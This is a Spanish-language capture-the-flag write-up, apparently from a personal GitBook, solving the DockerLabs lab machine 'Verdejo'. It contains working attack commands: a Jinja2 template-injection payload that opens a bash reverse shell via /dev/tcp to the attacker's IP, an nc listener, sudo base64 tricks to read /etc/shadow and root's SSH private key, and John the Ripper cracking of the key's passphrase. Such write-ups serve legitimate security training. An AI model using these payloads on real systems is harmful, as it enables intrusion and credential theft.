> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/verdejo.md).

# Verdejo

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/pwGC3rJgFktASKtnx7QF" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** y el **puerto 8089** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80,8089 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/Bv54h6zmhXI2pbSkosqK" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea la de por defecto de **Apache**.

<figure><img src="/files/j7xFo3S14WxUtoz1oONx" alt=""><figcaption></figcaption></figure>

Vemos a ver que corre por el **puerto 8089**.

<figure><img src="/files/Hjjk2TKxjCayTWqXMKuA" alt=""><figcaption></figcaption></figure>

Si enviamos el texto nos sale esto.

<figure><img src="/files/qMremSnDlKvwtyrH9PAJ" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Comenzamos verificando si es posible ejecutar un ataque XSS.

```bash
<script>alert("hacked")</script>
```

<figure><img src="/files/kyKDJ9GI0DTItWvzFPYp" alt=""><figcaption></figcaption></figure>

Probamos si es propenso a un SSTI por lo que realizamos una operación matemática que deberá mostrar el resultado.

```
{{7*7}}
```

<figure><img src="/files/tBJUSRnB0GlF6yh6MJyf" alt=""><figcaption></figcaption></figure>

Por lo que aprovechamos eso para enviarnos una Reverse Shell.

```bash
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c \'bash -i >& /dev/tcp/192.168.255.136/443 0>&1\'').read() }}
```

Nos ponemos en escucha.

```bash
nc -lvnp 443
```

<figure><img src="/files/Rz2f0BIswXuuK2UK6Zg9" alt=""><figcaption></figcaption></figure>

Hacemos el [tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/#) para trabajar más cómodos.

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/gvnMIaAMlM4WNusQul0c" alt=""><figcaption></figcaption></figure>

Tenemos permisos **SUDO** con **base64** por lo que revisamos esta [página ](https://gtfobins.github.io/gtfobins/base64/)para escalar privilegios.

```bash
sudo base64 /etc/shadow | base64 --decode
```

<figure><img src="/files/Foz0XNpYgWJFLY27qOnH" alt=""><figcaption></figcaption></figure>

Durante el escaneo, notamos que el puerto SSH estaba abierto. Esto sugiere la posibilidad de que el usuario root tenga un archivo `id_rsa`. Al intentar leer este archivo utilizando la ruta predeterminada, confirmamos que efectivamente obtuvimos el `id_rsa`.

```bash
sudo base64 /root/.ssh/id_rsa | base64 --decode
```

<figure><img src="/files/JLnvgDlsTNK9qF0if7xR" alt=""><figcaption></figcaption></figure>

Transferimos el archivo a nuestra máquina local y, tras asignarle permisos de ejecución, intentamos establecer la conexión. Sin embargo, se nos solicitó la contraseña asociada al `id_rsa`.

```bash
chmod 600 id_rsa
```

<figure><img src="/files/hBtEEHc2ZHofJpbuMF32" alt=""><figcaption></figcaption></figure>

En este paso, utilizamos **ssh2john** para extraer el hash del archivo. Posteriormente, empleamos **John the Ripper** para descifrar la contraseña, siempre que esta se encuentre en nuestro diccionario. Después de un tiempo, logramos identificar la clave

```bash
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/6ElncDUYr9HKgxHnykLz" alt=""><figcaption></figcaption></figure>

Nos logueamos y metemos las credenciales. Ya somos **root**.

<figure><img src="/files/UK7gIt717rKtvovvFzdm" alt=""><figcaption></figcaption></figure>
